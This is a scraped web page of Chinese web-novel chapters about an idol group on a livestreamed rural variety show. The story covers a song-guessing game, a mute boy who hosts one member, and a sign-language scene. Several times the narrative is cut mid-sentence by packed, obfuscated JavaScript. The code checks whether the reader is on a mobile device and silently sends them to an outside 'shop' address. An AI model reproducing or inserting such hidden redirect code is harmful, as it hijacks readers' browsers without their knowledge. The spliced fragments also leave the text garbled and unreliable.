l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17087346|192986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 找个没人的地方再揭开头巾,便试图遮着脸下车——结果一脚踩空。 细腰被一只手臂单手揽住,然后跌进了这人怀里,鼻间都被男士香水的气息充盈。 低沉声音在他耳畔响起:“没事吧?” 如果换个人可能就怦然心动了。 但鹤酌雪现在心里只有自己稀碎的偶像包袱,和除了他之外竟然有人类存在的羞恼。 有人看见他戴花头巾坐拖拉机了! 系统,乃一组特。 纪时珩在村口等人等了好久,终于看见拖拉机上那个熟悉的身影——和他显眼的花头巾。 还挺好看的,他想。 正了正衣领准备过去打招呼,刚好看见鹤酌雪捂着脸倒退下车,一脚踩空,情急之下直接冲上去把人摁进了怀里。 少年身形纤瘦,柔软且轻,抱在怀里像搂了只没骨头的猫,他呼吸一紧,装模作样地关心,看着那个花头巾还能想象到底下的脸。 肯定被吓蒙了,说不定眼泪都出来了。 要不要哄哄? “没事吧……”话没说完,一只手就“啪”地摁在了他眼睛上,把什么旖旎心思都拍没了。 鹤酌雪从他怀里溜出来,手依旧捂着人眼:“你不许看,我说睁眼才能看!” 空出来那只手把下巴上的结解开。 纪时珩手掌下的眉毛挑了挑:你说不看就不看,没这个道理。 他拼命眨眼蹭开一条指缝,终于看见少年把头巾从头上拽下来那一幕。 乌黑碎发被带起,弧度飞扬,少年下颌线清晰柔美,随力道微微歪头,垂睫模样悲悯神性,偏偏眼尾微红,恰似情动后的懵懂。 这张脸别说配花头巾了,顶个锅盖都好看。 所以纪时珩理解不了鹤酌雪为何羞恼,他甚至想把那个花头巾偷偷藏起来,下次再让鹤酌雪披给他看。 鹤酌雪并不在意他的想法,因为他扯下头巾才发现在场的不止纪时珩。 谢辞慎就站在他半步之外的距离,看着他和纪时珩的动作脸色奇差,颜谡看热闹不嫌事大的样子。 楼弛莫名其妙离他们所有人都很远,但是视线也看着这里。 …… 鹤酌雪想让拖拉机回来,带他离开这里。 21.识曲 弹幕也炸开锅,不同直播间刷的内容倒是大相径庭。 鹤酌雪个人直播间: [放!开!我!老!婆!] [纪勾手在往哪放蹭蹭蹭蹭个没完何时学会独立行走] [头巾能不能抽奖送/求求了jpg.] [大家去主直播间刷刷,那边cpf过年了] 主直播间: [全网最甜男给给闪亮登场!] [这细腰这长腿这碎发这额头巾还是算了] [豹猫完美体型差hzx好小一只哦] [怎么笨到下车也会摔倒,把这只小雪寄过来我好好教育] [lc离那么远干什么?颜谡为何如此淡定?] [绿帽攻排狗后面] [lc可能只是担心身上有味,没人关心下xcs吗此男已经重力到我怀疑他走两步脚底有两坑了] [还有人记得这是朋友和好综艺而不是恋综吗?] [不重要,专注磕cp] 概括大概就是咆哮的唯粉和已经磕嗨了的cp粉。 鹤酌雪木着脸将头巾折好塞进口袋,后知后觉想起蒋寻的叮嘱,迅速从纪时珩怀里退出如临大敌:“谢谢。” 纪时珩怀中一空,他根本没把蒋寻说的装不熟当回事,张嘴想嘲:“只是谢谢吗……” 鹤酌雪眼波微横,把人瞪老实后,快步与其他几人会合。 纪时珩并非被那一眼瞪老实的,而是发现鹤酌雪脸白到吓人。 原先有头巾勉强衬出血色,头巾拿下后风一吹,皮肤薄得几近透明,好像手指蹭上去也会碾破。 鹤酌雪转身走时他甚至下意识抬手想扶着,意识到这个动作像太监又作罢,只能看着他离开,视线落在口袋露出的头巾一角。 [jsh你不是酷哥吗为什么妻管严?] [人设如奶油般融化ing] 鹤酌雪谨记装不熟,和所有队友都保持一米左右的距离,低头发呆看着脚下的泥土路,土是干燥的,混着沙砾,落在他眸中影影重重,晃得他头晕。 他确实精神萎靡,之前巡演舞台时也经常有大半时间花费在交通工具上。 鹤酌雪的应对方法是前一天通宵训练把自己全部精力消耗完,上车就睡,可这次在车上要直播,此方法就行不通了。 呆毛也垂了下去。 颜谡悄悄挠了挠他手心,鹤酌雪抬头,脸颊突然被贴上湿了水的手帕,冰冰凉很舒服。 “谢谢颜哥。”他双手接过,眼睛弯弯笑得甜,眉宇间的疲倦却挥之不去。 “再坚持一会,节目组说今天任务不重,分下住所。”颜谡轻声说。 果然,导演组很快拿着三个箩筐和一沓小卡片出现:“欢迎各位来到郝家镇,这是一个历史悠久文化底蕴浓厚的小镇,由于交通不便,所以环境可能稍微艰苦一些。” “知道各位很辛苦,有三家热心的村民已经为大家收拾好了床铺,下面让我们通过一个小游戏决定各位今晚的住处吧!得分最低的要单独住哦。” 三家村民,这期一共有五位嘉宾。 很显然除一人要独住外,其他应该都是两两混住。 弹幕就鹤酌雪到底会和谁住展开热情讨论! [和jsh吧让我捡一口哥弟] [颜谡!刚刚递手帕的小动作谁不说一句宠妻] [要不xcs吧,我感觉小雪和别人住此男会半夜敲窗户偷人] [我们队长就这样被忽略了] [hzx还是小白菜为什么不能自己住,我不允许野男人爬床] [因为导演的意思是单独住的那个环境最差,小雪还是住的舒服些吧,他看着就娇] 导演侧身露出身后的音响和麦克风:“游戏就是听歌识曲!” 听ECHO自己的歌自然没意思,在场五位闭眼都知道是哪首。 所以听歌识曲猜的都是最近几年的流行曲。 鹤酌雪捏着帕子,眨了眨眼睛,他脑袋还是晕,耳朵也嗡嗡响,连听清游戏规则都要废一些力气。 音乐响起,节奏动感,传到他耳中就变成一段陌生的杂音,等他努力分清到底听见了什么时,已经有人抢答了。 谢辞慎淡淡举手,说出了答案。 这是首称得上家喻户晓的流行曲,几乎听见就能想到歌名。 节目组并没有要在这方面为难人的想法,之后的歌也差不多这个类型。 其他四人陆陆续续回答了几首,唯有鹤酌雪一言不发。 因为往往在他刚识别出歌曲大致旋律时,就已经有其他人说出了答案。 颜谡就站在他左侧,最先发现他状态不对,思忖着观察鹤酌雪的面色。 但是全程直播,加上蒋寻硬性要求他们保持距离,公然放水肯定行不通。 鹤酌雪也不会喜欢这种施舍。 纪时珩同样注意到了,他不乐意管些有的没的,悄悄往鹤酌雪身边蹭,想偷偷告诉他答案减轻压力——被楼弛拉住了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17090987|192986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 楼弛低声,确保没有第二个人听见,他脸上通常挂着如沐春风的笑,此刻面无表情:“你准备毁了鹤酌雪吗?” 身为队长,楼弛经常被蒋寻拉着沟通事情,比如鹤酌雪那几个CP。 因此他比其他几人更清楚CP热度过高可能带来的反噬。 上综艺可以关照,却不能明摆着作弊。 现在大家之所以对cp接受良好,是因为大部分人都磕着玩,一旦真因为炒cp造成男团内部不公平,粉丝当场就能翻脸撕个血流成河,鹤酌雪也会成为众矢之的。 纪时珩表情难堪,他想起了刚上车时看见的一些自己直播间的弹幕。 [少爷想谈恋爱就退圈,天天冷脸装什么装?] [rnd退钱退圈] [自己舔上去人家把你当回事了吗同时卖三家cp你算什么东西?] 这样的辱骂纪时珩其实习以为常,他脾气烂经常怼粉丝,黑粉数量和唯粉一样可观,整体呈现黑红二象性。 但他接受不了这些话的主语变成鹤酌雪。 连想象都不行。 所以他当时就撂了脸,不再看自己直播间的弹幕。 纪时珩深吸口气,退回自己原先的位置后目光依旧克制不住黏在鹤酌雪身上,也不管之后放的是哪首歌。 头发软软的,脸怎么那么白——普通晕车真的会有那么难受吗? 为什么他总觉得鹤酌雪摇摇欲坠? 主直播间: [hzx怎么一首都答不上来,歌都挺耳熟的吧,他曲库那么窄?] [不吧,他好像不太舒服,嘴唇都看不见血色了……心疼] 虽然没有去帮鹤酌雪,但纪时珩也没再回答之后的歌名,双手插兜开始走神。 楼弛也没有,颜谡之前回答两个问题后就懒得再开口。 下一首歌播放,只有谢辞慎说出了歌名。 他报出答案后微怔,扭头看向其他几人。 纪时珩冲他翻了个白眼。 回答啊,继续炫耀您丰富的曲库。 谢辞慎皱眉,目光移向鹤酌雪——他站得离鹤酌雪最远,以至于现在才看见他安静苍白的脸,身形单薄像一片雪花将要融化,眉头微蹙,即使不适也在尝试积极参与游戏,甚至抿唇强露出一个温婉乖巧的笑。 歌曲再响起,十几秒过去依旧无人回答,观众惊觉顶流男团原来是五个哑巴。 弹幕悠悠飘过: [公益直播间,大家点点关注。] 22.棉花 “这首是……”慢吞吞的声音响起,鹤酌雪抬眸看向导演报出歌名,眼睛亮亮,他一直在绞尽脑汁思索,没发现这首歌几乎算是其他人默契让给他的。 骄傲又开心说出答案。 导演松了口气,他寻思这首歌也不难回答啊,真要刚开始就出现全员沉默的冥场面,绝对是直播事故。 因此感激地冲鹤酌雪点了点头,准备切下一首歌时发现没有了。 鹤酌雪刚刚回答的就是最后一首。 游戏最后战绩是谢辞慎七首,楼弛六首,纪时珩四首,颜谡两首鹤酌雪一首。 谢辞慎楼弛分到了环境相对来说最好的一家,是一栋双层小洋楼,屋主刚装修完没多久妻子就怀孕了,因此氛围也很好,喜气洋洋,对两个明星的到来表示热烈欢迎。 纪时珩和颜谡住在镇长家,得分最低的鹤酌雪要单独住。 [身体不适还被分到最差的房子吗,好可怜] [祈祷不要是茅草房] 谢辞慎听见分配结果,手抱胸冷淡道:“我对住处没要求,让给有需要的人吧。” “这……”导演有些难做,他是乐意的,而且相信观众也能理解,可规则毕竟是规则,如果能随便让出奖励的话,那游戏也没什么存在的必要。 他转头看着鹤酌雪,鹤酌雪刚刚戴上了羽绒服上的帽子,毛绒领掩住小脸,神色恹恹但是比刚刚好了些。 对上导演的目光,他反应了一会才理解那个“有需要的人”是指他,薄唇轻启,声音闷闷:“不用啦,我很快就能好的,好的住所是游戏奖励,谢哥应得的。” 即使他的神色令人觉得这话可信度不高,淡淡的眼神也能看出其中的坚持。 鹤酌雪当然拒绝了,他没那么娇气,状态不好不能把最有活力的一面展现给观众已经让很惭愧了,队友的好意他觉得不必要便不愿接受。 谢辞慎皱眉,什么叫他应得的? 不就是多回答了几个问题吗,用得着闹脾气连他的帮忙也不接受吗? “……随你。”他说。 等到鹤酌雪真受不住后悔时,他再提换屋子也行。 总要吃些教训的。 谢辞慎当然不知道,鹤酌雪刚刚突然想起自己身上还有个系统:“系统,能不能花一点积分帮我清除身上的负面状态?” 【我以为你是舍不得积分,原来是根本没想到。】系统吐槽,它看鹤酌雪没精打采的样子也在干着急:【需要20积分呢。】 鹤酌雪耷拉着眼皮:“用吧,我不想一直这样。” 积分到位,他瞬间觉得头脑清明了很多,走路也不像踩在橡皮泥上了。 “那大家先跟着屋主们去住所吧,鹤老师麻烦跟我们来,您暂住的地方屋主比较特殊。” 导演挥挥手,鹤酌雪提着行李箱跟上。 走过镇口,路过林林总总各家店铺和自建房,最后停在一间红砖土屋门口。 鹤酌雪以为的特殊是屋主年纪可能比较大,不方便出门。 ——真实情况是,这家屋主竟然是一个十岁左右的黑瘦小男孩。 鹤酌雪拎着行李箱,站在门口,看见堂屋卖力擦拭桌子的小孩,一时有些懵,羽绒服的毛边被风吹的向后飘,露出完整的脸。 小孩也很快发现了他,小狗似的圆眼睛登时亮了,嘴巴长得大大的。 这是他到现在,见过最好看的人。 他想不出怎么形容,总之有点像棉花……对,棉花。 其实更适合的形容词应该是雪,从天上来的,但小男孩没见过雪也不太喜欢,因为书上形容雪是冰的凉的。 他很喜欢棉花,就觉得这个大哥哥像棉花。 他扔下抹布小跑到门口,一言不发要帮鹤酌雪拉行李箱,行李箱不算轻,鹤酌雪肯定不能让那么小的孩子拉,用力握住拉杆才没让他成功。 倒是成功把鹤酌雪逗笑了,他蹲下身子歪头看着小男孩,软声道:“这是你的家吗,好漂亮。” 这不是客套话,或者故意逗小男孩开心。 鹤酌雪的确觉得这个房子很好看,作为节目组定义的条件比较艰苦的房子,看上去很简陋:红砖房,泥土地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17100264|192986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,连通向堂屋的小路也是碎瓦片压出来的。 但小院子两边都用木头树枝围了栏杆,里面栽着品种各类的菜,还有两盆不知道从哪来的月季花,是精心打理过,生活气息很浓的一个房子。 鹤酌雪喜欢这种生活气。 小男孩抢拉杆的动作一顿,抬头露出个很腼腆的笑。 鹤酌雪以为他要说什么时,他又突然扭头跑回堂屋,继续擦桌子。 很莫名奇妙的行为,他却看懂了:小男孩被夸了,有点开心和害羞,擦桌子是告诉鹤酌雪这个房子确实是他的,他有在好好打理。 但是为什么不直接说? ——“您暂住的地方屋主比较特殊。” 鹤酌雪眼睫轻颤,惊讶地看向导演,导演点头,解释道:“他叫小尤,天生不能说话。这个屋子里住的是他和他爷爷,爷爷前段时间住院了,暂时只有小尤在。” 也是因为住院,所以才愿意将房子提供给节目组做拍摄场地。 毕竟节目组当时找场地时要求的是环境差,换句话说就是穷。除非急用钱,很少有人愿意将贫穷暴露在全国观众面前。 [好可怜的小孩哦] [有没有捐款通道之类的,想帮帮他] 鹤酌雪没说话,既没有感叹也没有表达同情,只是握着拉杆,咬着唇,眼睫垂下不知道在想什么。 他提着行李箱进了堂屋,小尤已经擦完了桌子,神神秘秘从柜子里拿出个小铁盒,期待地站在鹤酌雪面前。 鹤酌雪几乎瞬间理解,弯了弯唇:“你有礼物要送给我吗?” 小尤猛猛点头,小心翼翼打开铁盒,露出静静躺在盒底的一个草编蚂蚱。 看出被保护地很好,连两根须须都没有弯折痕迹。 “谢谢,我很喜欢。”鹤酌雪双手接过草编蚂蚱,用小拇指拨了拨虫须,轻声问:“这是你自己编的吗?” 小尤这次只是轻轻点头,看上去很害羞。 鹤酌雪在他面前蹲下,纤白如玉的手带着凉意,摸了摸他的脸,语气也慢:“这很好,你真的很棒。” 23.手语 虽然条件简陋,但房间是节目组帮忙收拾的,该有的东西一样不缺。 晚餐是节目组提供的盒饭,简单洗漱后时间已经接近九点,床边就是窗户,没有窗帘。 山里的夜晚,天格外黑,空中一轮白月孤悬,万籁俱寂。 鹤酌雪侧躺在床上,背靠窗户。他睡得不安稳,黑发被薄汗打湿黏在光洁额头,似玉石上的裂纹。 梦一个接着一个做,隐隐约约听见小院门开了又关的声音,也分不清究竟是幻觉还是真实。 清晨被鸡鸣声吵醒,棉花被里钻出一个乌黑蓬松的脑袋,声音黏黏糊糊像撒娇:“系统,你已经不满足人类语言了吗?” 系统:【……】睡傻了吧。 【天亮了村花,摄影师已经站在院门口了。】 “好哦。”鹤酌雪尝试鲤鱼打挺,挺过头了从床一端滚到了另一端,“唔”了一声又闭上了眼。 【幸好直播夜里不开,不然你在粉丝心里肯定多一个小猪塑。】 “小香猪吧,比较可爱。”鹤酌雪嘀嘀咕咕地反驳,提起粉丝终于意识到自己现在还在上班,揉了揉眼皮清醒了:“你昨晚有没有听见什么声音?” 系统给出肯定的答案:【十一点二十三分,小尤出去了一趟。】 为什么这个点出门?鹤酌雪眯了眯眼,但毕竟是小朋友的私事,他一个借住的不便探究。 今早集合地点在镇中的小学,郝家镇在山里,发展受限,镇子里留下的基本都是老人和小孩,年轻人大多外出务工。 这所小学中,留守儿童的比例就很高。 鹤酌雪揣着手站到队友身旁,听导演颁布任务。昨天站在他身侧的是颜谡,今天换成了纪时珩。 纪时珩看他不肯露手,轻啧了一声,硬把鹤酌雪的手从袖子里扯出来——然后从口袋里掏出个粉色的东西塞进了他手心。 鹤酌雪愣住了,垂眸发现是小卖部里常卖的那种暖手宝,小小一个,塑料外壳包着暖宝宝。 [jsh开窍中] [宠老婆小妙招get] 【纪时珩卖腐值提升至110】电子音响起,鹤酌雪手一抖暖宝宝差点掉下去。 他哀怨地瞪了纪时珩一眼。 昨天目睹小学男生给女孩子买暖手宝,迅速活学活用并且沾沾自喜的纪时珩:…… 妹妹,我又哪里惹你了? 还好只有纪时珩提高了,只要始终不出现卖腐值最低的队友,鹤酌雪就不会刷新到别人床上。 导演拿着大喇叭:“各位早上好,我们今天的任务是帮这所小学里的孩子们实现愿望,实现愿望的资金将通过你们下午摆摊获得。” 一个正向目的的合作任务确实有助于关系软化,也是《和朋》节目组最常进行的环节。 教室里面正在上课,他们的到访引起一阵的欢呼,有胆子大一些的小朋友就敢悄悄戳他们的背,然后小声兴奋说在哪个哪个节目里看见了他们。 事实证明哪怕是顶流男团中各个拽上天众星捧月的太子,被小朋友围住也多少会手忙脚乱。 鹤酌雪坐在凳子上,腿上趴着个小姑娘,导演让小朋友把愿望写在纸上放进篮筐里,他就摸了摸小女孩的头发让她快去。 小女孩蹦蹦跳跳去了,鹤酌雪环视教室一圈,实在热闹。 除了最里面的角落,有个小孩静静坐在那,好像无意参与这次活动。 鹤酌雪定睛一看,发现这个小孩竟然是小尤。 他起身走过去,才注意到小尤手中握着的是画笔。他没去投递愿望,而是坐在这画画。 “你怎么不去呀?”鹤酌雪俯身轻声问道。 不能说话也可以写字,还是说小尤也不识字? 听见询问,小尤把画纸推到他面前,摇了摇头,黑色瞳孔里没有羞耻之类的情绪,只是很坦诚地承认了这件事。 小男孩确实不识字,联想到他的家庭情况,鹤酌雪大概能猜到是因为要照顾爷爷所以缺课很多。 他端详着那副画,画上有三个人,能看出来是两个小孩和一个老爷爷,小孩皮肤一个深一个浅,深肤色小孩头上冒出个尖尖的对话框。 框中是空白的,什么都没有。 鹤酌雪有种直觉,这个小男孩就是小尤画的他自己。 空白则是因为,小尤不会说话。 他蹲下身,仰着洁白的美人面,乌黑眼眸含着粲然笑意,明眸善睐,符合所有人印象中被宠着长大不谙世事的少年形象。 然后抬起右手,修长白皙的食指指向男孩又收回,四指握拳比了个大拇指:“这是‘你好’的意思,是我在和你打招呼。” 鹤酌雪轻声解释,右手保持原先的手势,拇指鞠了两躬:“这是‘谢谢’,谢谢你昨天送我的草编。” 他手心抚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17103768|192986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过胸口,食指拇指弯成半环在嘴角轻晃两下后指向男孩,眯眼笑:“这是我喜欢你的意思。” 小尤怔了一下,笨拙学着鹤酌雪刚刚的动作比划一遍后,两只眼睛缓缓睁大,快速又比划了一遍。 他比划第一遍时鹤酌雪给他配音,一字一顿,第二遍就很顺畅流利:“我喜欢你。” 鹤酌雪站起身缓声道,眸光清润:“我之前在想你不去递纸条,有没有可能是因为愿望不能用钱来实现,又觉得我好像真有别的东西可以送给你。” “我刚刚教你的东西是手语,如果你愿意的话,还可以学习更多。” 小尤抿唇将脑袋埋进鹤酌雪腹部,羽绒服温暖软和的,摸着他后脑勺的手力度轻柔,像在安抚一只惊惶笨拙的鸟:“不会说话也没关系,世界上一定有适合你的表达方法。” [……你们知道鹤酌雪会手语吗] [闻所未闻,而且听语气他好像还是精通] [震撼,感觉刚刚鹤酌雪身后在发光] [从没想过我能对着小雪喊出那个称呼——妈妈!] [温柔没边了呜呜呜我喜欢这个!] [所以他到底为什么会手语啊没人好奇吗] [不知道,我感觉ECHO其他人也不像知道的样子,不信你们看] 教室其实很早就安静下来了,大家都默契不打扰正在角落进行的小课堂,ECHO四人则神色各异。 楼弛很淡定,似乎这件事有所预料,颜谡脸上有惊讶,纪时珩和谢辞慎表情最奇怪。 纪时珩不明显地顶了顶上颚,有种咬牙切齿的意味。 而谢辞慎更像空白,大脑宕机时才会露出这种失态表情。 观众也许会误认为手语是鹤酌雪闲得无聊时学的,真正见过鹤酌雪少年时模样的谢辞慎绝不会那样觉得。 曾经的怪异似乎突然都有了解释。 为什么鹤酌雪被扣在房间不被允许外出,被那样严密地保护。 为什么他第一次见到鹤酌雪时,少年一言不发,既不好奇他的来历,也没当着他的面喊过那个人。 为什么再次见到鹤酌雪时,他会觉得那样的鹤酌雪更有生命力,不复曾经的沉寂。 一个人不会毫无理由地去学习手语甚至精通,除非他真的有过一段时间依赖它为工具。 ——鹤酌雪在十六岁时或许根本不能说话。